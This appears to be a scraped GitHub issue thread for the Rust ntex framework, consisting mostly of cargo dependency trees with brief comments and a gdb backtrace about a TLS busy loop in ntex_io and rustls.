β β βββ futures-core v0.3.29
β β βββ futures-executor v0.3.29
β β β βββ futures-core v0.3.29
β β β βββ futures-task v0.3.29
β β β βββ futures-util v0.3.29
β β β βββ futures-channel v0.3.29 (*)
β β β βββ futures-core v0.3.29
β β β βββ futures-io v0.3.29
β β β βββ futures-macro v0.3.29 (proc-macro)
β β β β βββ proc-macro2 v1.0.69 (*)
β β β β βββ quote v1.0.33 (*)
β β β β βββ syn v2.0.39 (*)
β β β βββ futures-sink v0.3.29
β β β βββ futures-task v0.3.29
β β β βββ memchr v2.6.4
β β β βββ pin-project-lite v0.2.13
β β β βββ pin-utils v0.1.0
β β β βββ slab v0.4.9
β β β [build-dependencies]
β β β βββ autocfg v1.1.0
β β βββ futures-io v0.3.29
β β βββ futures-sink v0.3.29
β β βββ futures-task v0.3.29
β β βββ futures-util v0.3.29 (*)
β βββ ntex v0.7.10
β βββ async-channel v2.1.0
β β βββ concurrent-queue v2.3.0
β β β βββ crossbeam-utils v0.8.16
β β β βββ cfg-if v1.0.0
β β βββ event-listener v3.1.0
β β β βββ concurrent-queue v2.3.0 (*)
β β β βββ parking v2.2.0
β β β βββ pin-project-lite v0.2.13
β β βββ event-listener-strategy v0.3.0
β β β βββ event-listener v3.1.0 (*)
β β β βββ pin-project-lite v0.2.13
β β βββ futures-core v0.3.29
β β βββ pin-project-lite v0.2.13
β βββ async-oneshot v0.5.0
β β βββ futures-micro v0.5.0
β β βββ pin-project-lite v0.2.13
β βββ base64 v0.21.5
β βββ bitflags v2.4.1
β βββ brotli2 v0.3.2
β β βββ brotli-sys v0.3.2
β β β βββ libc v0.2.150
β β β [build-dependencies]
β β β βββ cc v1.0.84
β β β βββ libc v0.2.150
β β βββ libc v0.2.150
β βββ encoding_rs v0.8.33
β β βββ cfg-if v1.0.0
β βββ flate2 v1.0.28
β β βββ crc32fast v1.3.2
β β β βββ cfg-if v1.0.0
β β βββ miniz_oxide v0.7.1
β β βββ adler v1.0.2
β β βββ simd-adler32 v0.3.7
β βββ httparse v1.8.0
β βββ httpdate v1.0.3
β βββ log v0.4.20
β βββ mime v0.3.17
β βββ nanorand v0.7.0
β βββ ntex-bytes v0.1.21
β β βββ bitflags v2.4.1
β β βββ bytes v1.5.0
β β βββ futures-core v0.3.29
β β βββ serde v1.0.192
β β βββ serde_derive v1.0.192 (proc-macro)
β β βββ proc-macro2 v1.0.69 (*)
β β βββ quote v1.0.33 (*)
β β βββ syn v2.0.39 (*)
β βββ ntex-codec v0.6.2
β β βββ ntex-bytes v0.1.21 (*)
β βββ ntex-connect v0.3.2
β β βββ log v0.4.20
β β βββ ntex-bytes v0.1.21 (*)
β β βββ ntex-http v0.1.10
β β β βββ fxhash v0.2.1
β β β β βββ byteorder v1.5.0
β β β βββ http v0.2.10
β β β β βββ bytes v1.5.0
β β β β βββ fnv v1.0.7
β β β β βββ itoa v1.0.9
β β β βββ itoa v1.0.9
β β β βββ log v0.4.20
β β β βββ ntex-bytes v0.1.21 (*)
β β βββ ntex-io v0.3.7
β β β βββ bitflags v2.4.1
β β β βββ log v0.4.20
β β β βββ ntex-bytes v0.1.21 (*)
β β β βββ ntex-codec v0.6.2 (*)
β β β βββ ntex-service v1.2.7
β β β β βββ pin-project-lite v0.2.13
β β β β βββ slab v0.4.9 (*)
β β β βββ ntex-util v0.3.4
β β β β βββ bitflags v2.4.1
β β β β βββ futures-core v0.3.29
β β β β βββ futures-sink v0.3.29
β β β β βββ futures-timer v3.0.2
β β β β βββ fxhash v0.2.1 (*)
β β β β βββ log v0.4.20
β β β β βββ ntex-rt v0.4.10
β β β β β βββ async-channel v2.1.0 (*)
β β β β β βββ async-oneshot v0.5.0 (*)
β β β β β βββ futures-core v0.3.29
β β β β β βββ log v0.4.20
β β β β β βββ tokio v1.34.0
β β β β β βββ bytes v1.5.0
β β β β β βββ libc v0.2.150
β β β β β βββ mio v0.8.9
β β β β β β βββ libc v0.2.150
β β β β β βββ num_cpus v1.16.0
β β β β β β βββ libc v0.2.150
β β β β β βββ parking_lot v0.12.1
β β β β β β βββ lock_api v0.4.11
β β β β β β β βββ scopeguard v1.2.0
β β β β β β β [build-dependencies]
β β β β β β β βββ autocfg v1.1.0
β β β β β β βββ parking_lot_core v0.9.9
β β β β β β βββ cfg-if v1.0.0
β β β β β β βββ libc v0.2.150
β β β β β β βββ smallvec v1.11.2
β β β β β βββ pin-project-lite v0.2.13
β β β β β βββ signal-hook-registry v1.4.1
β β β β β β βββ libc v0.2.150
β β β β β βββ socket2 v0.5.5
β β β β β β βββ libc v0.2.150
β β β β β βββ tokio-macros v2.2.0 (proc-macro)
β β β β β βββ proc-macro2 v1.0.69 (*)
β β β β β βββ quote v1.0.33 (*)
β β β β β βββ syn v2.0.39 (*)
β β β β βββ ntex-service v1.2.7 (*)
β β β β βββ pin-project-lite v0.2.13
β β β β βββ slab v0.4.9 (*)
β β β βββ pin-project-lite v0.2.13
β β βββ ntex-rt v0.4.10 (*)
β β βββ ntex-service v1.2.7 (*)
β β βββ ntex-tls v0.3.3
β β β βββ log v0.4.20
β β β βββ ntex-bytes v0.1.21 (*)
β β β βββ ntex-io v0.3.7 (*)
β β β βββ ntex-service v1.2.7 (*)
β β β βββ ntex-util v0.3.4 (*)
β β β βββ pin-project-lite v0.2.13
β β β βββ rustls v0.21.8
β β β βββ log v0.4.20
β β β βββ ring v0.17.5
β β β β βββ getrandom v0.2.11 (*)
β β β β βββ libc v0.2.150
β β β β βββ spin v0.9.8
β β β β β βββ lock_api v0.4.11 (*)
β β β β βββ untrusted v0.9.0
β β β β [build-dependencies]
β β β β βββ cc v1.0.84 (*)
β β β βββ rustls-webpki v0.101.7
β β β β βββ ring v0.17.5 (*)
β β β β βββ untrusted v0.9.0
β β β βββ sct v0.7.1
β β β βββ ring v0.17.5 (*)
β β β βββ untrusted v0.9.0
β β βββ ntex-tokio v0.3.1
β β β βββ log v0.4.20
β β β βββ ntex-bytes v0.1.21 (*)
β β β βββ ntex-io v0.3.7 (*)
β β β βββ ntex-util v0.3.4 (*)
β β β βββ pin-project-lite v0.2.13
β β β βββ tokio v1.34.0 (*)
β β βββ ntex-util v0.3.4 (*)
β β βββ rustls v0.21.8 (*)
β β βββ thiserror v1.0.50
β β β βββ thiserror-impl v1.0.50 (proc-macro)
β β β βββ proc-macro2 v1.0.69 (*)
β β β βββ quote v1.0.33 (*)
β β β βββ syn v2.0.39 (*)
β β βββ webpki-roots v0.25.2
β βββ ntex-h2 v0.4.4
β β βββ bitflags v2.4.1
β β βββ fxhash v0.2.1 (*)
β β βββ log v0.4.20
β β βββ nanorand v0.7.0
β β βββ ntex-bytes v0.1.21 (*)
β β βββ ntex-codec v0.6.2 (*)
β β βββ ntex-connect v0.3.2 (*)
β β βββ ntex-http v0.1.10 (*)
β β βββ ntex-io v0.3.7 (*)
β β βββ ntex-rt v0.4.10 (*)
β β βββ ntex-service v1.2.7 (*)
β β βββ ntex-util v0.3.4 (*)
β β βββ pin-project-lite v0.2.13
β β βββ thiserror v1.0.50 (*)
β βββ ntex-http v0.1.10 (*)
β βββ ntex-io v0.3.7 (*)
β βββ ntex-macros v0.1.3 (proc-macro)
β β βββ proc-macro2 v1.0.69 (*)
β β βββ quote v1.0.33 (*)
β β βββ syn v1.0.109 (*)
β βββ ntex-router v0.5.2
β β βββ http v0.2.10 (*)
β β βββ log v0.4.20
β β βββ ntex-bytes v0.1.21 (*)
β β βββ regex v1.10.2
β β β βββ aho-corasick v1.1.2
β β β β βββ memchr v2.6.4
β β β βββ memchr v2.6.4
β β β βββ regex-automata v0.4.3
β β β β βββ aho-corasick v1.1.2 (*)
β β β β βββ memchr v2.6.4
β β β β βββ regex-syntax v0.8.2
β β β βββ regex-syntax v0.8.2
β β βββ serde v1.0.192 (*)
β βββ ntex-rt v0.4.10 (*)
β βββ ntex-service v1.2.7 (*)
β βββ ntex-tls v0.3.3 (*)
β βββ ntex-tokio v0.3.1 (*)
β βββ ntex-util v0.3.4 (*)
β βββ percent-encoding v2.3.0
β βββ pin-project-lite v0.2.13
β βββ polling v3.3.0
β β βββ cfg-if v1.0.0
β β βββ rustix v0.38.21
β β β βββ bitflags v2.4.1
β β β βββ linux-raw-sys v0.4.11
β β βββ tracing v0.1.40
β β βββ pin-project-lite v0.2.13
β β βββ tracing-core v0.1.32
β β βββ once_cell v1.18.0
β βββ regex v1.10.2 (*)
β βββ rustls v0.21.8 (*)
β βββ serde v1.0.192 (*)
β βββ serde_json v1.0.108
β β βββ itoa v1.0.9
β β βββ ryu v1.0.15
β β βββ serde v1.0.192 (*)
β βββ serde_urlencoded v0.7.1
β β βββ form_urlencoded v1.2.0
β β β βββ percent-encoding v2.3.0
β β βββ itoa v1.0.9
β β βββ ryu v1.0.15
β β βββ serde v1.0.192 (*)
β βββ sha-1 v0.10.1
β β βββ cfg-if v1.0.0
β β βββ cpufeatures v0.2.11
β β βββ digest v0.10.7
β β βββ block-buffer v0.10.4
β β β βββ generic-array v0.14.7 (*)
β β βββ crypto-common v0.1.6 (*)
β βββ socket2 v0.5.5 (*)
β βββ thiserror v1.0.50 (*)
β βββ webpki-roots v0.25.2
βββ clia-ntex-files v0.3.0
β βββ bitflags v2.4.1
β βββ derive_more v0.99.17 (proc-macro) (*)
β βββ futures v0.3.29 (*)
β βββ http v0.2.10 (*)
β βββ httpdate v1.0.3
β βββ language-tags v0.3.2
β βββ log v0.4.20
β βββ mime v0.3.17
β βββ mime_guess v2.0.4
β β βββ mime v0.3.17
β β βββ unicase v2.7.0
β β [build-dependencies]
β β βββ version_check v0.9.4
β β [build-dependencies]
β β βββ unicase v2.7.0 (*)
β βββ ntex v0.7.10 (*)
β βββ ntex-http v0.1.10 (*)
β βββ percent-encoding v2.3.0
β βββ unicase v2.7.0 (*)
β βββ v_htmlescape v0.15.8
βββ data-rw v1.6.4
β βββ anyhow v1.0.75
β βββ auto_impl v1.1.0 (proc-macro)
β β βββ proc-macro-error v1.0.4
β β β βββ proc-macro-error-attr v1.0.4 (proc-macro)
β β β β βββ proc-macro2 v1.0.69 (*)
β β β β βββ quote v1.0.33 (*)
β β β β [build-dependencies]
β β β β βββ version_check v0.9.4
β β β βββ proc-macro2 v1.0.69 (*)
β β β βββ quote v1.0.33 (*)
β β β βββ syn v1.0.109 (*)
β β β [build-dependencies]
β β β βββ version_check v0.9.4
β β βββ proc-macro2 v1.0.69 (*)
β β βββ quote v1.0.33 (*)
β β βββ syn v1.0.109 (*)
β βββ cfg-if v1.0.0
β βββ paste v1.0.14 (proc-macro)
β βββ rmp-serde v1.1.2
β β βββ byteorder v1.5.0
β β βββ rmp v0.8.12
β β β βββ byteorder v1.5.0
β β β βββ num-traits v0.2.17
β β β β [build-dependencies]
β β β β βββ autocfg v1.1.0
β β β βββ paste v1.0.14 (proc-macro)
β β βββ serde v1.0.192 (*)
β βββ serde v1.0.192 (*)
βββ dlib-face-recognition v0.3.0 (/root/face_https_server/dlib-face-recognition)
β βββ bzip2 v0.4.4
β β βββ bzip2-sys v0.1.11+1.0.8
β β β βββ libc v0.2.150
β β β [build-dependencies]
β β β βββ cc v1.0.84 (*)
β β β βββ pkg-config v0.3.27
β β βββ libc v0.2.150
β βββ cpp v0.5.9
β β βββ cpp_macros v0.5.9 (proc-macro)
β β βββ aho-corasick v1.1.2 (*)
β β βββ byteorder v1.5.0
β β βββ cpp_common v0.5.9
β β β βββ lazy_static v1.4.0
β β β βββ proc-macro2 v1.0.69 (*)
β β β βββ syn v2.0.39 (*)
β β βββ lazy_static v1.4.0
β β βββ proc-macro2 v1.0.69 (*)
β β βββ quote v1.0.33 (*)
β β βββ syn v2.0.39 (*)
β βββ dlib-face-recognition-sys v19.24.0-rc.1 (/root/face_https_server/dlib-face-recognition/sys)
β β [build-dependencies]
β β βββ cmake v0.1.50
β β β βββ cc v1.0.84 (*)
β β βββ fs_extra v1.3.0
β β βββ glob v0.3.1
β β βββ pkg-config v0.3.27
β β βββ reqwest v0.11.22
β β β βββ base64 v0.21.5
β β β βββ bytes v1.5.0
β β β βββ encoding_rs v0.8.33 (*)
β β β βββ futures-core v0.3.29
β β β βββ futures-util v0.3.29
β β β β βββ futures-core v0.3.29
β β β β βββ futures-io v0.3.29
β β β β βββ futures-task v0.3.29
β β β β βββ memchr v2.6.4
β β β β βββ pin-project-lite v0.2.13
β β β β βββ pin-utils v0.1.0
β β β β βββ slab v0.4.9 (*)
β β β βββ h2 v0.3.21
β β β β βββ bytes v1.5.0
β β β β βββ fnv v1.0.7
β β β β βββ futures-core v0.3.29
β β β β βββ futures-sink v0.3.29
β β β β βββ futures-util v0.3.29 (*)
β β β β βββ http v0.2.10 (*)
β β β β βββ indexmap v1.9.3
β β β β β βββ hashbrown v0.12.3
β β β β β [build-dependencies]
β β β β β βββ autocfg v1.1.0
β β β β βββ slab v0.4.9 (*)
β β β β βββ tokio v1.34.0
β β β β β βββ bytes v1.5.0
β β β β β βββ libc v0.2.150
β β β β β βββ mio v0.8.9 (*)
β β β β β βββ num_cpus v1.16.0 (*)
β β β β β βββ pin-project-lite v0.2.13
β β β β β βββ socket2 v0.5.5 (*)
β β β β βββ tokio-util v0.7.10
β β β β β βββ bytes v1.5.0
β β β β β βββ futures-core v0.3.29
β β β β β βββ futures-sink v0.3.29
β β β β β βββ pin-project-lite v0.2.13
β β β β β βββ tokio v1.34.0 (*)
β β β β β βββ tracing v0.1.40 (*)
β β β β βββ tracing v0.1.40 (*)
β β β βββ http v0.2.10 (*)
β β β βββ http-body v0.4.5
β β β β βββ bytes v1.5.0
β β β β βββ http v0.2.10 (*)
β β β β βββ pin-project-lite v0.2.13
β β β βββ hyper v0.14.27
β β β β βββ bytes v1.5.0
β β β β βββ futures-channel v0.3.29
β β β β β βββ futures-core v0.3.29
β β β β βββ futures-core v0.3.29
β β β β βββ futures-util v0.3.29 (*)
β β β β βββ h2 v0.3.21 (*)
β β β β βββ http v0.2.10 (*)
β β β β βββ http-body v0.4.5 (*)
β β β β βββ httparse v1.8.0
β β β β βββ httpdate v1.0.3
β β β β βββ itoa v1.0.9
β β β β βββ pin-project-lite v0.2.13
β β β β βββ socket2 v0.4.10
β β β β β βββ libc v0.2.150
β β β β βββ tokio v1.34.0 (*)
β β β β βββ tower-service v0.3.2
β β β β βββ tracing v0.1.40 (*)
β β β β βββ want v0.3.1
β β β β βββ try-lock v0.2.4
β β β βββ hyper-tls v0.5.0
β β β β βββ bytes v1.5.0
β β β β βββ hyper v0.14.27 (*)
β β β β βββ native-tls v0.2.11
β β β β β βββ log v0.4.20
β β β β β βββ openssl v0.10.59
β β β β β β βββ bitflags v2.4.1
β β β β β β βββ cfg-if v1.0.0
β β β β β β βββ foreign-types v0.3.2
β β β β β β β βββ foreign-types-shared v0.1.1
β β β β β β βββ libc v0.2.150
β β β β β β βββ once_cell v1.18.0
β β β β β β βββ openssl-macros v0.1.1 (proc-macro)
β β β β β β β βββ proc-macro2 v1.0.69 (*)
β β β β β β β βββ quote v1.0.33 (*)
β β β β β β β βββ syn v2.0.39 (*)
β β β β β β βββ openssl-sys v0.9.95
β β β β β β βββ libc v0.2.150
β β β β β β [build-dependencies]
β β β β β β βββ cc v1.0.84 (*)
β β β β β β βββ pkg-config v0.3.27
β β β β β β βββ vcpkg v0.2.15
β β β β β βββ openssl-probe v0.1.5
β β β β β βββ openssl-sys v0.9.95 (*)
β β β β βββ tokio v1.34.0 (*)
β β β β βββ tokio-native-tls v0.3.1
β β β β βββ native-tls v0.2.11 (*)
β β β β βββ tokio v1.34.0 (*)
β β β βββ ipnet v2.9.0
β β β βββ log v0.4.20
β β β βββ mime v0.3.17
β β β βββ native-tls v0.2.11 (*)
β β β βββ once_cell v1.18.0
β β β βββ percent-encoding v2.3.0
β β β βββ pin-project-lite v0.2.13
β β β βββ serde v1.0.192
β β β βββ serde_urlencoded v0.7.1 (*)
β β β βββ tokio v1.34.0 (*)
β β β βββ tokio-native-tls v0.3.1 (*)
β β β βββ tower-service v0.3.2
β β β βββ url v2.4.1
β β β βββ form_urlencoded v1.2.0 (*)
β β β βββ idna v0.4.0
β β β β βββ unicode-bidi v0.3.13
β β β β βββ unicode-normalization v0.1.22
β β β β βββ tinyvec v1.6.0
β β β β βββ tinyvec_macros v0.1.1
β β β βββ percent-encoding v2.3.0
β β βββ zip v0.5.13
β β βββ byteorder v1.5.0
β β βββ bzip2 v0.4.4 (*)
β β βββ crc32fast v1.3.2 (*)
β β βββ flate2 v1.0.28
β β β βββ crc32fast v1.3.2 (*)
β β β βββ miniz_oxide v0.7.1
β β β βββ adler v1.0.2
β β βββ thiserror v1.0.50 (*)
β β βββ time v0.1.45
β β βββ libc v0.2.150
β βββ image v0.24.7
β β βββ bytemuck v1.14.0
β β βββ byteorder v1.5.0
β β βββ color_quant v1.1.0
β β βββ exr v1.71.0
β β β βββ bit_field v0.10.2
β β β βββ flume v0.11.0
β β β β βββ spin v0.9.8 (*)
β β β βββ half v2.2.1
β β β βββ lebe v0.5.2
β β β βββ miniz_oxide v0.7.1 (*)
β β β βββ rayon-core v1.12.0
β β β β βββ crossbeam-deque v0.8.3
β β β β β βββ cfg-if v1.0.0
β β β β β βββ crossbeam-epoch v0.9.15
β β β β β β βββ cfg-if v1.0.0
β β β β β β βββ crossbeam-utils v0.8.16 (*)
β β β β β β βββ memoffset v0.9.0
β β β β β β β [build-dependencies]
β β β β β β β βββ autocfg v1.1.0
β β β β β β βββ scopeguard v1.2.0
β β β β β β [build-dependencies]
β β β β β β βββ autocfg v1.1.0
β β β β β βββ crossbeam-utils v0.8.16 (*)
β β β β βββ crossbeam-utils v0.8.16 (*)
β β β βββ smallvec v1.11.2
β β β βββ zune-inflate v0.2.54
β β β βββ simd-adler32 v0.3.7
β β βββ gif v0.12.0
β β β βββ color_quant v1.1.0
β β β βββ weezl v0.1.7
β β βββ jpeg-decoder v0.3.0
β β β βββ rayon v1.8.0
β β β βββ either v1.9.0
β β β βββ rayon-core v1.12.0 (*)
β β βββ num-rational v0.4.1
β β β βββ num-integer v0.1.45
β β β β βββ num-traits v0.2.17 (*)
β β β β [build-dependencies]
β β β β βββ autocfg v1.1.0
β β β βββ num-traits v0.2.17 (*)
β β β [build-dependencies]
β β β βββ autocfg v1.1.0
β β βββ num-traits v0.2.17 (*)
β β βββ png v0.17.10
β β β βββ bitflags v1.3.2
β β β βββ crc32fast v1.3.2 (*)
β β β βββ fdeflate v0.3.1
β β β β βββ simd-adler32 v0.3.7
β β β βββ flate2 v1.0.28 (*)
β β β βββ miniz_oxide v0.7.1 (*)
β β βββ qoi v0.4.1
β β β βββ bytemuck v1.14.0
β β βββ tiff v0.9.0
β β βββ flate2 v1.0.28 (*)
β β βββ jpeg-decoder v0.3.0 (*)
β β βββ weezl v0.1.7
β βββ reqwest v0.11.22 (*)
β [build-dependencies]
β βββ cpp_build v0.5.9
β βββ cc v1.0.84 (*)
β βββ cpp_common v0.5.9 (*)
β βββ lazy_static v1.4.0
β βββ proc-macro2 v1.0.69 (*)
β βββ regex v1.10.2 (*)
β βββ syn v2.0.39 (*)
β βββ unicode-xid v0.2.4
βββ flexi_logger v0.25.6
β βββ chrono v0.4.31
β β βββ iana-time-zone v0.1.58
β β βββ num-traits v0.2.17 (*)
β βββ crossbeam-channel v0.5.8
β β βββ cfg-if v1.0.0
β β βββ crossbeam-utils v0.8.16 (*)
β βββ crossbeam-queue v0.3.8
β β βββ cfg-if v1.0.0
β β βββ crossbeam-utils v0.8.16 (*)
β βββ glob v0.3.1
β βββ is-terminal v0.4.9
β β βββ rustix v0.38.21 (*)
β βββ lazy_static v1.4.0
β βββ log v0.4.20
β βββ nu-ansi-term v0.49.0
β βββ regex v1.10.2 (*)
β βββ thiserror v1.0.50 (*)
βββ futures v0.3.29 (*)
βββ image v0.24.7 (*)
βββ lazy_static v1.4.0
βββ log v0.4.20
βββ ntex v0.7.10 (*)
βββ rustls v0.21.8 (*)
βββ rustls-pemfile v1.0.4
β βββ base64 v0.21.5
βββ serde v1.0.192 (*)
βββ serde_json v1.0.108 (*)
βββ tokio v1.34.0 (*)
[build-dependencies]
βββ anyhow v1.0.75
βββ vergen v8.1.3
βββ anyhow v1.0.75
βββ rustc_version v0.4.0 (*)
βββ sysinfo v0.28.4
β βββ cfg-if v1.0.0
β βββ libc v0.2.150
β βββ once_cell v1.18.0
βββ time v0.3.30
βββ deranged v0.3.9
β βββ powerfmt v0.2.0
βββ itoa v1.0.9
βββ powerfmt v0.2.0
βββ time-core v0.1.2
[build-dependencies]
βββ rustversion v1.0.14 (proc-macro)
I feel like ntex_io does not contain a complete TLS packet, and new packets are not filled in afterwards, resulting in a dead loop,this problem is difficult to occur on a local area network.
The worse the network, the higher the frequency of occurrence. I guess it's because TLS data has received a portion and cannot be fully processed
from ntex.
Is the issue still ongoing?
from ntex.
Is the issue still ongoing?
from ntex.
I have been running steadily for a while now and I think the problem has been resolved.. thank you again,god blesses you!
@fafhrd91
from ntex.
Fixed in these latest versions. Great job! @fafhrd91
from ntex.
Unfortunately, another problem has arisen,here are some information:
bt:
#0 0x0000561821022dbe in rustls::conn::ConnectionCommon<Data>::complete_io ()
#1 0x000056182102b80e in ntex_io::buf::Stack::write_buf::{{closure}} ()
#2 0x000056182102f147 in <ntex_tls::rustls::TlsAcceptor as ntex_io::FilterFactory<F>>::create::{{closure}} ()
#3 0x00005618210356f6 in <ntex_service::ctx::ServiceCall<S,Req> as core::future::future::Future>::poll ()
#4 0x0000561820fe7b6e in <ntex_service::and_then::AndThenServiceResponse<A,B,Req> as core::future::future::Future>::poll ()
#5 0x0000561821035e3b in <ntex_service::ctx::ServiceCall<S,Req> as core::future::future::Future>::poll ()
#6 0x0000561820ffb23c in <ntex::server::service::StreamService<T> as ntex_service::Service<(core::option::Option<ntex::server::counter::CounterGuard>,ntex::server::service::ServerMessage)>>::call::{{closure}} ()
#7 0x00005618210e08e1 in <ntex_service::pipeline::PipelineCall<S,R> as core::future::future::Future>::poll ()
#8 0x00005618210f9dbe in <ntex::server::worker::Worker as core::future::future::Future>::poll::{{closure}} ()
#9 0x0000000000000002 in ?? ()
#10 0x00007fd74f651620 in ?? ()
#11 0x00007fd74f6516c0 in ?? ()
#12 0x0000000000000001 in ?? ()
#13 0x00005618210d9fb7 in tokio::runtime::task::raw::poll ()
#14 0x0000561821449c0b in tokio::task::local::LocalSet::tick ()
#15 0x00005618212d95c8 in tokio::task::local::LocalSet::run_until::{{closure}} ()
#16 0x00005618212d5f09 in std::sys_common::backtrace::__rust_begin_short_backtrace ()
#17 0x00005618212d6f2e in core::ops::function::FnOnce::call_once{{vtable.shim}} ()
#18 0x0000561821584935 in alloc::boxed::{impl#47}::call_once<(), dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1993
#19 alloc::boxed::{impl#47}::call_once<(), alloc::boxed::Box<dyn core::ops::function::FnOnce<(), Output=()>, alloc::alloc::Global>, alloc::alloc::Global> () at library/alloc/src/boxed.rs:1993
#20 std::sys::unix::thread::{impl#2}::new::thread_start () at library/std/src/sys/unix/thread.rs:108
#21 0x00007fd79bbfdac3 in start_thread (arg=<optimized out>) at ./nptl/pthread_create.c:442
#22 0x00007fd79bc8fa40 in ?? () from /lib/x86_64-linux-gnu/libc.so.6
#23 0x0000000000000000 in ?? ()
cargo tree:
βββ aes-gcm v0.10.3
β βββ aead v0.5.2
β β βββ crypto-common v0.1.6
β β β βββ generic-array v0.14.7
β β β β βββ typenum v1.17.0
β β β β [build-dependencies]
β β β β βββ version_check v0.9.4
β β β βββ rand_core v0.6.4
β β β β βββ getrandom v0.2.11
β β β β βββ cfg-if v1.0.0
β β β β βββ libc v0.2.150
β β β βββ typenum v1.17.0
β β βββ generic-array v0.14.7 (*)
β βββ aes v0.8.3
β β βββ cfg-if v1.0.0
β β βββ cipher v0.4.4
β β β βββ crypto-common v0.1.6 (*)
β β β βββ inout v0.1.3
β β β βββ generic-array v0.14.7 (*)
β β βββ cpufeatures v0.2.11
β βββ cipher v0.4.4 (*)
β βββ ctr v0.9.2
β β βββ cipher v0.4.4 (*)
β βββ ghash v0.5.0
β β βββ opaque-debug v0.3.0
β β βββ polyval v0.6.1
β β βββ cfg-if v1.0.0
β β βββ cpufeatures v0.2.11
β β βββ opaque-debug v0.3.0
β β βββ universal-hash v0.5.1
β β βββ crypto-common v0.1.6 (*)
β β βββ subtle v2.5.0
β βββ subtle v2.5.0
βββ anyhow v1.0.75
βββ aqueue v1.3.5
β βββ async-lock v2.6.0
β β βββ event-listener v2.5.3
β β βββ futures-lite v1.13.0
β β βββ fastrand v1.9.0
β β βββ futures-core v0.3.29
β β βββ futures-io v0.3.29
β β βββ memchr v2.6.4
β β βββ parking v2.2.0
β β βββ pin-project-lite v0.2.13
β β βββ waker-fn v1.1.1
β βββ async-trait v0.1.74 (proc-macro)
β βββ proc-macro2 v1.0.70
β β βββ unicode-ident v1.0.12
β βββ quote v1.0.33
β β βββ proc-macro2 v1.0.70 (*)
β βββ syn v2.0.39
β βββ proc-macro2 v1.0.70 (*)
β βββ quote v1.0.33 (*)
β βββ unicode-ident v1.0.12
βββ async-trait v0.1.74 (proc-macro) (*)
βββ base64 v0.21.5
βββ clap v4.4.11
β βββ clap_builder v4.4.11
β β βββ anstream v0.6.4
β β β βββ anstyle v1.0.4
β β β βββ anstyle-parse v0.2.3
β β β β βββ utf8parse v0.2.1
β β β βββ anstyle-query v1.0.1
β β β βββ colorchoice v1.0.0
β β β βββ utf8parse v0.2.1
β β βββ anstyle v1.0.4
β β βββ clap_lex v0.6.0
β β βββ strsim v0.10.0
β βββ clap_derive v4.4.7 (proc-macro)
β βββ heck v0.4.1
β βββ proc-macro2 v1.0.70 (*)
β βββ quote v1.0.33 (*)
β βββ syn v2.0.39 (*)
βββ clia-ntex-cors v0.4.0
β βββ derive_more v0.99.17 (proc-macro)
β β βββ convert_case v0.4.0
β β βββ proc-macro2 v1.0.70 (*)
β β βββ quote v1.0.33 (*)
β β βββ syn v1.0.109
β β βββ proc-macro2 v1.0.70 (*)
β β βββ quote v1.0.33 (*)
β β βββ unicode-ident v1.0.12
β β [build-dependencies]
β β βββ rustc_version v0.4.0
β β βββ semver v1.0.20
β βββ futures v0.3.29
β β βββ futures-channel v0.3.29
β β β βββ futures-core v0.3.29
β β β βββ futures-sink v0.3.29
β β βββ futures-core v0.3.29
β β βββ futures-executor v0.3.29
β β β βββ futures-core v0.3.29
β β β βββ futures-task v0.3.29
β β β βββ futures-util v0.3.29
β β β βββ futures-channel v0.3.29 (*)
β β β βββ futures-core v0.3.29
β β β βββ futures-io v0.3.29
β β β βββ futures-macro v0.3.29 (proc-macro)
β β β β βββ proc-macro2 v1.0.70 (*)
β β β β βββ quote v1.0.33 (*)
β β β β βββ syn v2.0.39 (*)
β β β βββ futures-sink v0.3.29
β β β βββ futures-task v0.3.29
β β β βββ memchr v2.6.4
β β β βββ pin-project-lite v0.2.13
β β β βββ pin-utils v0.1.0
β β β βββ slab v0.4.9
β β β [build-dependencies]
β β β βββ autocfg v1.1.0
β β βββ futures-io v0.3.29
β β βββ futures-sink v0.3.29
β β βββ futures-task v0.3.29
β β βββ futures-util v0.3.29 (*)
β βββ ntex v0.7.13
β βββ async-channel v2.1.1
β β βββ concurrent-queue v2.4.0
β β β βββ crossbeam-utils v0.8.16
β β β βββ cfg-if v1.0.0
β β βββ event-listener v4.0.0
β β β βββ concurrent-queue v2.4.0 (*)
β β β βββ parking v2.2.0
β β β βββ pin-project-lite v0.2.13
β β βββ event-listener-strategy v0.4.0
β β β βββ event-listener v4.0.0 (*)
β β β βββ pin-project-lite v0.2.13
β β βββ futures-core v0.3.29
β β βββ pin-project-lite v0.2.13
β βββ base64 v0.21.5
β βββ bitflags v2.4.1
β βββ brotli2 v0.3.2
β β βββ brotli-sys v0.3.2
β β β βββ libc v0.2.150
β β β [build-dependencies]
β β β βββ cc v1.0.83
β β β βββ libc v0.2.150
β β βββ libc v0.2.150
β βββ encoding_rs v0.8.33
β β βββ cfg-if v1.0.0
β βββ flate2 v1.0.28
β β βββ crc32fast v1.3.2
β β β βββ cfg-if v1.0.0
β β βββ miniz_oxide v0.7.1
β β βββ adler v1.0.2
β β βββ simd-adler32 v0.3.7
β βββ httparse v1.8.0
β βββ httpdate v1.0.3
β βββ log v0.4.20
β βββ mime v0.3.17
β βββ nanorand v0.7.0
β βββ ntex-bytes v0.1.21
β β βββ bitflags v2.4.1
β β βββ bytes v1.5.0
β β βββ futures-core v0.3.29
β β βββ serde v1.0.193
β β βββ serde_derive v1.0.193 (proc-macro)
β β βββ proc-macro2 v1.0.70 (*)
β β βββ quote v1.0.33 (*)
β β βββ syn v2.0.39 (*)
β βββ ntex-codec v0.6.2
β β βββ ntex-bytes v0.1.21 (*)
β βββ ntex-connect v0.3.2
β β βββ log v0.4.20
β β βββ ntex-bytes v0.1.21 (*)
β β βββ ntex-http v0.1.11
β β β βββ fxhash v0.2.1
β β β β βββ byteorder v1.5.0
β β β βββ http v0.2.11
β β β β βββ bytes v1.5.0
β β β β βββ fnv v1.0.7
β β β β βββ itoa v1.0.9
β β β βββ itoa v1.0.9
β β β βββ log v0.4.20
β β β βββ ntex-bytes v0.1.21 (*)
β β β βββ serde v1.0.193 (*)
β β βββ ntex-io v0.3.13
β β β βββ bitflags v2.4.1
β β β βββ log v0.4.20
β β β βββ ntex-bytes v0.1.21 (*)
β β β βββ ntex-codec v0.6.2 (*)
β β β βββ ntex-service v1.2.7
β β β β βββ pin-project-lite v0.2.13
β β β β βββ slab v0.4.9 (*)
β β β βββ ntex-util v0.3.4
β β β β βββ bitflags v2.4.1
β β β β βββ futures-core v0.3.29
β β β β βββ futures-sink v0.3.29
